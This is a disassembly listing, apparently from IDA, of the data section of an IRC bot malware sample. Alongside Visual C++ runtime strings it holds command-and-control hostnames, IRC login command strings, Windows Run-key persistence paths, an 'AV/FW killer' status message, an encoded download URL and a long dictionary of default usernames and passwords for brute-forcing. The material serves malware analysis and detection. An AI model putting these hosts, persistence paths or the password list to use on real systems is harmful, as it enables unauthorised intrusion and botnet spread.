0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o dd offset loc_422E4D align 10h dd offset loc_422E39 dd offset loc_422E3D dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o dd offset loc_422EA3 align 8 dd offset loc_422E8F dd offset loc_422E93 dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o ; sub_4244F4+39o ... dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h ; DATA XREF: sub_4232A8+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D4DCo db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o align 10h asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_423DD1+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_423DD1+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_423DD1+7Do align 10h dword_427C30 dd 0FFFFFFFFh, 4245EDh, 4245F1h ; DATA XREF: sub_4244F4+5o aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_425029+3Do align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_425029+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_425029+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_425973:loc_425A68o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_425973+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_425973+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_425973+ADo align 4 dd offset dword_427DAC off_427C90 dd offset loc_4260E2 ; DATA XREF: sub_4260BA+8o ; sub_4260FE+2Co ... dd offset sub_4260D5 dd offset sub_4262F6 dd offset dword_427DF8 off_427CA0 dd offset sub_42614C ; DATA XREF: sub_4260FE+3Ao ; sub_426168o ... dd offset sub_4260D5 dd offset loc_426332 dword_427CAC dd 0 ; DATA XREF: sub_4260FE+16o ; sub_4261D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426173+11o dd offset dword_427E44 off_427CCC dd offset sub_42625B ; DATA XREF: sub_426277o ; sub_42629A+37o ... dd offset sub_4260D5 dd offset loc_426314 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42629A+11o dd offset dword_427E88 off_427CEC dd offset loc_4264A5 ; DATA XREF: sub_426490o ; ___:off_43DAE4o ... dd offset dword_427EB8 off_427CF4 dd offset loc_4264C1 ; DATA XREF: sub_4264DD+8o ; sub_42651A+8o ... dd offset sub_42657A aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_42657A+7o align 10h dword_427D10 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_426587+Eo dd 3, 19930520h, 2 dup(0) dword_427D30 dd 0FFFFFFFFh, 426738h, 42673Ch, 0FFFFFFFFh, 4267B5h, 4267B9h ; DATA XREF: sub_426636+5o dword_427D48 dd 0FFFFFFFFh, 4269ADh, 4269B1h, 0FFFFFFFFh, 426A0Ah, 426A0Eh ; DATA XREF: sub_4268C1+5o dd 43DAE4h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427D78 dd offset off_43DAFC ; DATA XREF: ___:00427D90o ; ___:00427DDCo ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427D78 dd offset dword_427D48+18h dword_427D98 dd 3 dup(0) ; DATA XREF: ___:00427DBCo dd 2, 427D90h dword_427DAC dd 3 dup(0) ; DATA XREF: ___:00427C8Co dd offset off_43DAFC dd offset dword_427D98+4 off_427DC0 dd offset off_43DB1C ; DATA XREF: ___:00427DD8o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DC0 dd offset off_427D78 dd offset dword_427D48+18h dd 0 db 0 ; DATA XREF: ___:00427E08o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427DD8h dword_427DF8 dd 3 dup(0) ; DATA XREF: ___:00427C9Co dd offset off_43DB1C dd offset unk_427DE8 off_427E0C dd offset off_43DB3C ; DATA XREF: ___:00427E24o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E0C dd offset off_427D78 dd offset dword_427D48+18h dword_427E30 dd 3 dup(0) ; DATA XREF: ___:00427E54o dd 3, 427E24h dword_427E44 dd 3 dup(0) ; DATA XREF: ___:00427CC8o dd offset off_43DB3C dd offset dword_427E30+4 off_427E58 dd offset off_43DB60 ; DATA XREF: ___:00427E70o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E58 dd 0 db 0 ; DATA XREF: ___:00427E98o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427E70h dword_427E88 dd 3 dup(0) ; DATA XREF: ___:00427CE8o dd offset off_43DB60 dd offset unk_427E78 dd offset dword_427D48+18h dword_427EA0 dd 4 dup(0) ; DATA XREF: ___:00427EC8o dd 1, 427E9Ch dword_427EB8 dd 3 dup(0) ; DATA XREF: ___:00427CF0o dd offset off_43DAE4 dd offset dword_427EA0+8 align 10h dword_427ED0 dd 19930520h, 2, 427EF0h, 5 dup(0) ; DATA XREF: ___:loc_426AA7o dd 0FFFFFFFFh, 426A90h, 0 dd offset sub_426A88 dword_427F00 dd 19930520h, 2, 427F20h, 5 dup(0) ; DATA XREF: ___:loc_426AC4o dd 0FFFFFFFFh, 426AB4h, 0 dd offset loc_426ABC dword_427F30 dd 19930520h, 2, 427F50h, 1, 427F60h, 3 dup(0) ; DATA XREF: ___:loc_426AD0o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427F78h, 4 dup(0) dd offset loc_40DA8E dd 0FFFFFFFFh, 426ADAh dword_427F90 dd 19930520h, 1, 427F88h, 5 dup(0) ; DATA XREF: ___:loc_426AE2o dd offset off_43DAE4 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42651Ah, 0 dd offset off_43DAFC dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426218h, 0 dd offset off_43DB1C align 10h dd 0FFFFFFFFh, 0 dword_427FF8 dd 1Ch, 426282h, 3, 427FE4h, 427FC8h, 427FACh ; DATA XREF: ___:0042801Co dword_428010 dd 0 ; DATA XREF: sub_426173+2Eo ; sub_4262F6+4Bo dd offset sub_426168 dd 0 dd offset dword_427FF8+8 dd 0FFFFFFFFh, 426AECh dword_428028 dd 19930520h, 1, 428020h, 4 dup(0) ; DATA XREF: ___:loc_426AF4o dd 0FFFFFFFFh, 426AFEh dword_42804C dd 19930520h, 1, 428044h, 4 dup(0) ; DATA XREF: ___:loc_426B06o dd 0FFFFFFFFh, 426B10h dword_428070 dd 19930520h, 1, 428068h, 5 dup(0) ; DATA XREF: ___:loc_426B18o dd offset off_43DB3C align 8 dd 0FFFFFFFFh, 0 dword_4280A0 dd 1Ch, 4262DEh, 3, 42808Ch, 427FC8h, 427FACh ; DATA XREF: ___:004280C4o dword_4280B8 dd 0 ; DATA XREF: sub_42629A+2Eo ; sub_4262F6+2Do dd offset sub_426277 dd 0 dd offset dword_4280A0+8 dd 0FFFFFFFFh, 426B22h dword_4280D0 dd 19930520h, 1, 4280C8h, 4 dup(0) ; DATA XREF: ___:loc_426B2Ao dword_4280EC dd 2, 427FC8h, 427FACh ; DATA XREF: ___:00428104o dword_4280F8 dd 0 ; DATA XREF: sub_4262F6+Fo dd offset sub_4260BA dd 0 dd offset dword_4280EC dd 5 dup(33091427h), 5 dup(7DD0DD93h), 75h dup(0) dd 7DD0DD93h, 15h dup(0) dd 33091427h, 6 dup(0) dd 45560000h, 4F495352h, 6C642E4Eh, 6Ch, 31Eh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041C183o dd offset loc_401205 dd offset sub_40DB3C dd offset dword_40EF1C+1D0h dword_429010 dd 0 ; DATA XREF: ___:0041C17Eo dword_429014 dd 0 ; DATA XREF: ___:0041C174o dd offset sub_41DA32 dd offset sub_420B0D dd offset sub_42413E dd offset word_424F62 dword_429028 dd 0 ; DATA XREF: ___:loc_41C16Fo dword_42902C dd 0 ; DATA XREF: sub_41C1B3+65o dd offset sub_4241E3 dword_429034 dd 0 ; DATA XREF: sub_41C1B3:loc_41C213o dword_429038 dd 0 ; DATA XREF: sub_41C1B3+76o dd offset byte_424F73 dword_429040 dd 4 dup(0) ; DATA XREF: sub_41C1B3:loc_41C224o dword_429050 dd 80000002h, 429170h, 80000002h, 4291A0h, 80000001h, 429170h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_4045D8r dword_429078 dd 45h ; DATA XREF: sub_401ACD+202Er ; sub_40BD91+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403BE9r ; sub_40BD91:loc_40C182r dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403D75r word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_4046FBr align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+643r dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_4188A6+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A76r ; sub_401ACD+B30r ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40AAAC+3Ar ; sub_40AAAC+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aSaadfgh db 'saadfgh',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_40445Do ... aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404902o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7BCBo ; sub_401ACD+7C9Ao align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 73767265h, 6578652Eh, 0 dd 6E6E6977h, 61622E74h, 74h aWindosSeresAgn db 'Windos Seres Agnts',0 ; DATA XREF: sub_401000+Eo align 4 unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7D1Do align 10h aF db '#f',0 ; DATA XREF: sub_401ACD+1E91o ; sub_401ACD+1EA2o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+72B4o ; sub_401ACD+730Co align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40EAo ; sub_401ACD+423Ao align 4 off_42915C dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4096EBo ; "*@admin.com" off_429160 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8A7r ; sub_401ACD+7C3Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 10h db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_41A3C6+28o ; sub_41A6EA+28o align 10h aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_41A3C6+D4o ; sub_41A6EA+D4o align 4 dd 2 dup(1), 70747468h, 772F2F3Ah, 662E7777h, 77656572h dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h dd 652E6D79h, 6578h, 429938h, 429928h, 429918h, 42990Ch dd 429904h, 4298FCh, 4298F4h, 4298ECh, 4298E0h, 4298D8h dd 4298D0h, 4298C8h, 4298BCh, 4298B4h, 4298ACh, 4298A0h dd 42989Ch, 429894h, 429890h, 0 dd offset byte_43DB88 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_0 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault ; "default" dd offset aSystem ; "system" dd offset aServer ; "server" dd offset aRoot ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan ; "lan" dd offset aInternet ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aStaff ; "staff" dd 0 dword_4294CC dd 10h ; DATA XREF: sub_401ACD+AE0r ; sub_401ACD+B0Cr ... aIntranet db 'intranet',0 ; DATA XREF: ___:004294B8o align 4 aLan db 'lan',0 ; DATA XREF: ___:004294B0o aMain db 'main',0 ; DATA XREF: ___:004294ACo align 4 aWinpass db 'winpass',0 ; DATA XREF: ___:004294A8o aBlank db 'blank',0 ; DATA XREF: ___:004294A4o align 4 aOffice db 'office',0 ; DATA XREF: ___:004294A0o align 10h aControl db 'control',0 ; DATA XREF: ___:0042949Co aXp db 'xp',0 ; DATA XREF: ___:00429498o align 4 aNokia db 'nokia',0 ; DATA XREF: ___:00429494o align 4 aHp db 'hp',0 ; DATA XREF: ___:00429490o align 4 aSiemens db 'siemens',0 ; DATA XREF: ___:0042948Co aCompaq db 'compaq',0 ; DATA XREF: ___:00429488o align 4 aDell db 'dell',0 ; DATA XREF: ___:00429484o align 10h aCisco db 'cisco',0 ; DATA XREF: ___:00429480o align 4 aIbm db 'ibm',0 ; DATA XREF: ___:0042947Co aOrainstall db 'orainstall',0 ; DATA XREF: ___:00429474o align 4 aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: ___:00429470o align 4 aSql db 'sql',0 ; DATA XREF: ___:0042946Co aSa db 'sa',0 ; DATA XREF: ___:00429468o align 4 aDb1234 db 'db1234',0 ; DATA XREF: ___:00429464o align 4 aDb1 db 'db1',0 ; DATA XREF: ___:0042945Co aDatabasepasswo db 'databasepassword',0 ; DATA XREF: ___:00429458o align 4 aData db 'data',0 ; DATA XREF: ___:00429454o align 4 aDatabasepass db 'databasepass',0 ; DATA XREF: ___:00429450o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: ___:0042944Co align 4 aDbpass db 'dbpass',0 ; DATA XREF: ___:00429448o align 10h aAccess db 'access',0 ; DATA XREF: ___:00429444o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: ___:0042943Co align 4 aDomainpass db 'domainpass',0 ; DATA XREF: ___:00429438o align 4 aDomain db 'domain',0 ; DATA XREF: ___:00429434o align 4 aHello db 'hello',0 ; DATA XREF: ___:00429430o align 4 aHell db 'hell',0 ; DATA XREF: ___:0042942Co align 4 aGod db 'god',0 ; DATA XREF: ___:00429428o aSex db 'sex',0 ; DATA XREF: ___:00429424o ; ___:off_438A68o aSlut db 'slut',0 ; DATA XREF: ___:00429420o align 4 aBitch db 'bitch',0 ; DATA XREF: ___:0042941Co align 4 aFuck db 'fuck',0 ; DATA XREF: ___:00429418o align 4 aExchange db 'exchange',0 ; DATA XREF: ___:00429414o align 4 aBackup db 'backup',0 ; DATA XREF: ___:00429410o align 10h aTechnical db 'technical',0 ; DATA XREF: ___:0042940Co align 4 aLoginpass db 'loginpass',0 ; DATA XREF: ___:00429408o align 4 aLogin db 'login',0 ; DATA XREF: ___:00429404o align 10h aMary db 'mary',0 ; DATA XREF: ___:00429400o align 4 aKatie db 'katie',0 ; DATA XREF: ___:004293FCo align 10h aKate db 'kate',0 ; DATA XREF: ___:004293F4o align 4 aGeorge db 'george',0 ; DATA XREF: ___:004293F0o align 10h aEric db 'eric',0 ; DATA XREF: ___:004293ECo align 4 aChris db 'chris',0 ; DATA XREF: ___:004293E8o align 10h aIan db 'ian',0 ; DATA XREF: ___:004293E4o aNeil db 'neil',0 ; DATA XREF: ___:004293E0o align 4 aLee db 'lee',0 ; DATA XREF: ___:004293DCo aBrian db 'brian',0 ; DATA XREF: ___:004293D8o align 4 aSusan db 'susan',0 ; DATA XREF: ___:004293D0o align 10h aSue db 'sue',0 ; DATA XREF: ___:004293CCo aSam db 'sam',0 ; DATA XREF: ___:004293C8o aLuke db 'luke',0 ; DATA XREF: ___:004293C4o align 10h aPeter db 'peter',0 ; DATA XREF: ___:004293C0o ; ___:004293D4o align 4 aJohn db 'john',0 ; DATA XREF: ___:004293BCo align 10h aMike db 'mike',0 ; DATA XREF: ___:004293B8o align 4 aBill db 'bill',0 ; DATA XREF: ___:004293B4o align 10h aFred db 'fred',0 ; DATA XREF: ___:004293B0o align 4 aJoe db 'joe',0 ; DATA XREF: ___:004293ACo aJen db 'jen',0 ; DATA XREF: ___:004293A8o aBob db 'bob',0 ; DATA XREF: ___:004293A4o ; ___:004293F8o aQwe db 'qwe',0 ; DATA XREF: ___:004293A0o aZxc db 'zxc',0 ; DATA XREF: ___:0042939Co aAsd db 'asd',0 ; DATA XREF: ___:00429398o aQaz db 'qaz',0 ; DATA XREF: ___:00429394o aWin2000 db 'win2000',0 ; DATA XREF: ___:00429390o aWinnt db 'winnt',0 ; DATA XREF: ___:0042938Co align 4 aWinxp db 'winxp',0 ; DATA XREF: ___:00429388o align 4 aWin2k db 'win2k',0 ; DATA XREF: ___:00429384o align 4 aWin98 db 'win98',0 ; DATA XREF: ___:00429380o align 4 aWindows db 'windows',0 ; DATA XREF: ___:0042937Co aOeminstall db 'oeminstall',0 ; DATA XREF: ___:00429378o align 10h aOemuser db 'oemuser',0 ; DATA XREF: ___:00429374o aOem db 'oem',0 ; DATA XREF: ___:00429370o aUser db 'user',0 ; DATA XREF: sub_401ACD+45CFo ; ___:0042936Co align 4 aHomeuser db 'homeuser',0 ; DATA XREF: ___:00429368o align 10h aHome db 'home',0 ; DATA XREF: ___:00429364o align 4 aAccounting db 'accounting',0 ; DATA XREF: ___:00429360o align 4 aAccounts db 'accounts',0 ; DATA XREF: ___:0042935Co align 10h aInternet db 'internet',0 ; DATA XREF: ___:00429358o ; ___:004294B4o align 4 aWww db 'www',0 ; DATA XREF: ___:00429354o aWeb db 'web',0 ; DATA XREF: sub_401ACD+7283o ; ___:00429350o aOutlook db 'outlook',0 ; DATA XREF: ___:0042934Co aMail db 'mail',0 ; DATA XREF: ___:00429348o align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00429344o align 4 aNull_1 db 'null',0 ; DATA XREF: ___:00429340o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Bo ; ___:00429338o align 4 aSystem db 'system',0 ; DATA XREF: ___:00429334o align 4 aChangeme db 'changeme',0 ; DATA XREF: ___:0042932Co align 10h aLinux db 'linux',0 ; DATA XREF: ___:00429328o align 4 aUnix db 'unix',0 ; DATA XREF: ___:00429324o align 10h aDemo db 'demo',0 ; DATA XREF: ___:00429320o align 4 aNone db 'none',0 ; DATA XREF: ___:0042931Co align 10h aTest db 'test',0 ; DATA XREF: ___:00429314o align 4 a2004 db '2004',0 ; DATA XREF: ___:00429310o align 10h a2003 db '2003',0 ; DATA XREF: sub_41AF8F+BAo ; ___:0042930Co align 4 a2002 db '2002',0 ; DATA XREF: ___:00429308o align 10h a2001 db '2001',0 ; DATA XREF: ___:00429304o align 4 a2000 db '2000',0 ; DATA XREF: ___:00429300o align 10h a1234567890 db '1234567890',0 ; DATA XREF: ___:004292FCo align 4 a123456789 db '123456789',0 ; DATA XREF: ___:004292F8o align 4 a12345678 db '12345678',0 ; DATA XREF: ___:004292F4o align 4 a1234567 db '1234567',0 ; DATA XREF: ___:004292F0o a123456 db '123456',0 ; DATA XREF: ___:004292ECo align 4 a12345 db '12345',0 ; DATA XREF: ___:004292E8o align 4 a1234 db '1234',0 ; DATA XREF: ___:004292E4o align 4 a123 db '123',0 ; DATA XREF: ___:004292E0o a12 db '12',0 ; DATA XREF: ___:004292DCo align 4 a1: ; DATA XREF: ___:0040AFC7o ; ___:004292D8o unicode 0, <1>,0 a007 db '007',0 ; DATA XREF: ___:004292D4o aPwd db 'pwd',0 ; DATA XREF: ___:004292D0o aPass db 'pass',0 ; DATA XREF: ___:004292CCo align 10h aPass1234 db 'pass1234',0 ; DATA XREF: ___:004292C8o align 4 aPasswd db 'passwd',0 ; DATA XREF: ___:004292C4o align 4 aPassword db 'password',0 ; DATA XREF: ___:004292C0o align 10h aPassword1 db 'password1',0 ; DATA XREF: ___:004292BCo align 4 aAdm db 'adm',0 ; DATA XREF: ___:004292B8o aDb2 db 'db2',0 ; DATA XREF: ___:00429460o aOracle db 'oracle',0 ; DATA XREF: ___:00429478o align 4 aDba db 'dba',0 aDatabase db 'database',0 ; DATA XREF: ___:00429440o align 4 aDefault db 'default',0 ; DATA XREF: ___:00429330o aGuest_0 db 'guest',0 ; DATA XREF: ___:00429318o align 4 aWwwadmin db 'wwwadmin',0 align 4 aTeacher db 'teacher',0 ; DATA XREF: ___:004294C0o aStudent db 'student',0 ; DATA XREF: ___:004294BCo aOwner db 'owner',0 align 10h aComputer db 'computer',0 align 4 aRoot db 'root',0 ; DATA XREF: ___:0042933Co align 4 aStaff db 'staff',0 ; DATA XREF: ___:004294C4o align 4 aAdmin db 'admin',0 ; DATA XREF: ___:004292B4o align 4 aAdmins db 'admins',0 ; DATA XREF: ___:004292B0o align 4 aAdministrat db 'administrat',0 ; DATA XREF: ___:004292ACo aAdministrateur db 'administrateur',0 ; DATA XREF: ___:004292A8o align 4 aAdministrador db 'administrador',0 ; DATA XREF: ___:004292A4o align 4 aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:004292A0o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_42915Co dword_4299D4 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429A08 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 4 unk_429A34 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 4 unk_429A74 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429A98 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_429AB4 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_429AC0 dd 255C7325h, 73h ; DATA XREF: ___:004013AAo dword_429AC8 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_4100B4+EAo ... unk_429AD0 db 3 ; DATA XREF: sub_4017ED+F2o a81VrxConnected db '8,1-VrX- Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o align 4 aUserhostS db 